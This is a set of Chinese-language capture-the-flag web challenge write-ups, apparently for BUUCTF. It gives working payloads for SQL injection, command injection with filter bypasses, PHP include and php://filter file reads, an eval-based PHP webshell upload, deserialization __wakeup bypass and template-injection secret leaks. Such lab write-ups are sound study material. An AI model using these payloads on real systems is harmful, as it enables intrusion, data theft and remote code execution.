试了个万能密码就能上去了
flag: flag{8e685472-02e4-440a-b04e-b0d9b6d9c27f}
看源码有个source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
还有个hint.php
在include包含路径中,可以随便输入一个字符串,然后再输入一个…/就可以抵消,否则就会报错不存在此路径,这里多个…/就是不断的返回上一级目录查找ffffllllaaaagggg,最后返回flag。
payload
?file=source.php?/../../../../ffffllllaaaagggg
flag: flag{b807036f-4428-498f-bf2b-5991650c54f4}
看源码有一段这个
cat传参
flag: ==
flag{4f7dee31-4681-471d-8a7a-67f9a352c9a0} ==
过滤了input,但是filter没有过滤
尝试使用filter读取flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
解码得到flag
flag: flag{65c1d0ba-f4a5-40d8-bccf-b5133958500f}
exec可以执行命令,加个分号(;) 就行
payload
1.1.1.1;cat /flag
flag: flag{b6ecdddd-175a-4384-8822-505e74818172}
试了下,发现过滤了select
?inject=3 union select 1,database()
可以使用堆叠注入,可以参考这个mysql常用命令
?inject=-1';show databases; -- '
爆出数据库
看当前数据库的数据表,这个表有点臭。。
?inject=-1';show tables; #
显示表的结构,看到有个flag
?inject=-1';DESCRIBE `1919810931114514`; #
嫖了下大佬的wp,可以用预处理语句绕过过滤
预处理语句使用方式
SET @sql = variable; //设置变量
PREPARE yuchuli from '[my sql sequece]'; //预定义SQL语句
EXECUTE yuchuli; //执行预定义SQL语句sqla
将select * from 1919810931114514 定义为yuchuli
PREPARE yuchuli from 'select * from `1919810931114514`';
EXECUTE yuchuli;
select是被过滤的,所以用concat进行编码绕过
SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`");
PREPARE yuchuli from @sql;
EXECUTE yuchuli;
或者将把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。用已经存在的select语法查询
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100); #
改后的表名
直接查询
?inject=1' or '1'='1
flag: flag{6e3023d2-61cd-471f-81d4-24b8d6b379ac}
post提交,变量名为 query
可以用select,但是过滤了union和from
也可以用堆叠注入
查看表,有个flag表,读取发现,过滤了flag
query=-1;show tables;
用concat拼接说太长了
别人的wp:
这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用
输入的内容为*,1
内置的sql语句为sql=“select”.sql=“select”.post[‘query’].“||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
当设置sql_mode为PIPES_AS_CONCAT时,将”||”视为字符串的连接操作符而非或运算符
flag: flag{6deadcba-d6dc-450c-971c-506dc34b2153}
附加几种常见的sql_mode值的介绍:
ONLY_FULL_GROUP_BY:出现在select语句、HAVING条件和ORDER BY语句中的列,必须是GROUP BY的列或者依赖于GROUP BY列的函数列。
NO_AUTO_VALUE_ON_ZERO:该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。
STRICT_TRANS_TABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制
NO_ZERO_IN_DATE:这个模式影响了是否允许日期中的月份和日包含0。如果开启此模式,2016-01-00是不允许的,但是0000-02-01是允许的。它实际的行为受到 strict mode是否开启的影响1。
NO_ZERO_DATE:设置该值,mysql数据库不允许插入零日期。它实际的行为受到 strictmode是否开启的影响2。
ERROR_FOR_DIVISION_BY_ZERO:在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时MySQL返回NULL
NO_AUTO_CREATE_USER:禁止GRANT创建密码为空的用户
NO_ENGINE_SUBSTITUTION:如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常
PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
ANSI_QUOTES:启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符
经典ping题目
过滤了斜杠和空格,以及一堆符号
可以用 $IFS$9 来代替空格
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
匹配了过滤了flag字符,那么可以用赋值的方法来绕过
;a=ag.php;b=fl;
$b$a == flag.php
payload
http://3fb64002-9e1a-484f-83c3-4f2817c49a94.node4.buuoj.cn:81/?ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$9$b$a;
或者,将ls获得的结果作为cat的参数
ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$9`ls`;
flag : flag{036f2104-7253-4f76-97f7-3da92a589e67}
看源码直接跳转
抓包发现一个 secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
用filter协议读取
?file=php://filter/read=convert.base64-encode/resource=flag.php
解密得到flag: flag{eb4a372e-12b8-4ae0-9ca9-8fc0f130757c}
用万能密码登录
?username='or 1=1 or'&password=123
得到串字符 37b791b0eed23e6f5326985c5227f565
试了一下,可以将这串字符作为admin的密码登录
测试下回显字段数,一共有三个
?username=admin%27%20order%20by%204%23&password=37b791b0eed23e6f5326985c5227f565
爆数据库名,得到数据库名为 geek
username=3%27%20union%20select%201,2,database()%23&password=123
爆表名
?username=3%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123
得到 geekuser,l0ve1ysq1
爆 geekuser 的列名
?username=3%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27geekuser%27%23&password=123
没啥用
爆另一个表的列,发现还是一样的列
爆数据
?username=3%27%20union%20select%201,2,group_concat(id,username,password)%20from%20l0ve1ysq1%23&password=123
得到flag: flag{dc67ad33-8641-4cc0-8f2b-1d01e606541d}
直接用蚁剑就能连接,密码为 Syc
根目录下找到flag: flag{11d15892-08ff-4602-b0c8-8a1ad4c39750}
看源码有一个secret.php
添加
Referer: https://Sycsecret.buuoj.cn
伪造来源
修改浏览器为
Syclover
最后一个还需要本地访问,添加
X-Forwarded-For: 127.0.0.1
得到flag: flag{a45b3a57-1622-4717-a7d4-d79561bcf149}
尝试上传一句话木马,发现有文件头检验
尝试上传图片马,发现不行
在16进制中将这个 ==+==改为0x00
还是不行,使用phtml可以上传
更换一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
尝试访问upload目录,可以访问
蚁剑连上得到flag: flag{63839e68-f5e1-4dbf-b14c-d644f9d0e9dc}
只能上传图片
上传png图片马,然后抓包改成phtml后缀,可以成功上传
得到flag: flag{0cbe3993-1ade-4f3d-a6ff-52e5db045bc1}
试了下万能密码,好像过滤了or
用 admin’# 成功登录
可以用双写绕过,先查数据库
?username=-1'uunionnion%20sselectelect%201,2,database()%23&password=123
爆表名
?username=3%27%20uunionnion%20sselectelect%201,2,group_concat(table_name)%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=database()%23&password=123
爆列名
?username=3%27%20uunionnion%20sselectelect%201,2,group_concat(column_name)%20ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_name=%27b4bsql%27%23&password=123
爆数据,得到flag
?username=3%27%20uunionnion%20seselectlect%201,2,group_concat(id,username,passwoorrd)%20ffromrom%20b4bsql%23&password=123
flag: flag{5d793f14-a8b8-4f8f-a1ac-628a56872f45}
看到题目描述,网站备份,访问www.zip下载源码
有个反序列化函数
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
PHP 版本要求: PHP 4, PHP 5, PHP 7
可以直接拿kali生成序列化的代码
<?php
class Name{
private $username='admin';
private $password=100;
}
$name = new Name;
$result = serialize($name);
//print($result);
print(urlencode($result));
?>
这是没有url编码后的
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。
加完%00后的payload
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
url编码后的payload,php的urlencode()会直接给空编码编译成%00
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
要绕过__wakeup只要让说明的参数个数大于实际的参数个数。即将 “Name”:2 改为 “Name”:3
完整payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
或者用url编码后的也行,也要记得把2改为3
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
flag: flag{c21bde1d-c190-4ea7-b692-0c2200f264ae}
看题目就想起了bak文件,提示也是去找源文件,bak是备份文件,为文件格式扩展名,这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak
下载得到index.php的源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
输入只能是数字,而比较的字符串中还有字母,php中的== 是弱比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
直接得到flag: flag{0ee92cf8-7749-4ebb-a69f-30375a668cd4}
关键代码:
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
calc.php,可以看到绕过了一些字符
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以利用PHP的字符串解析特性来绕过WAF,在num前面加上空格
用chr(47) 来代替 /
读取flag
http://node4.buuoj.cn:28249/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
flag: flag{d0d525eb-857d-4a68-9bbc-7d4b78798a2b}
翻源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
password=404a&money=1e9
,修改user = 1
flag: flag{e592395c-a08c-469c-b4c3-3b48a2ffc586}
有个hint
/hints.txt
md5(cookie_secret+md5(filename))
构造payload,得到cookie_secret: 012fc7ec-46f4-4213-a9d5-c1c7452e57fd
error?msg={{handler.settings}}
嫖了个exp
import hashlib
cookie='012fc7ec-46f4-4213-a9d5-c1c7452e57fd'
filename='/fllllllllllllag'
md5_filename=hashlib.md5(filename.encode('utf-8')).hexdigest()
word=cookie+md5_filename
flag=hashlib.md5(word.encode('utf-8')).hexdigest()
print(flag)
得到flag: flag{4eff55e3-80e2-4cb1-bb17-d9260585406b}
ffifdyop字符串会造成漏洞
输入后跳转到页面看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
(1)找出md5值都是两个0e开头的开头的。原理是php里面在做 == 的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。
举例:
QNKCDZO
s155964671a
s1091221200a
(2)数组绕过。原理是md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。(题目中就传入 ?a[]=1&b[]=2 )
第一个页面,传参
levels91.php?a=s155964671a&b=s1091221200a
第二个页面,传参
param1[]=s155964671a¶m2[]=s1091221200a
得到flag:
flag{210c75f4-d144-4fc6-90de-fcb679774ff6}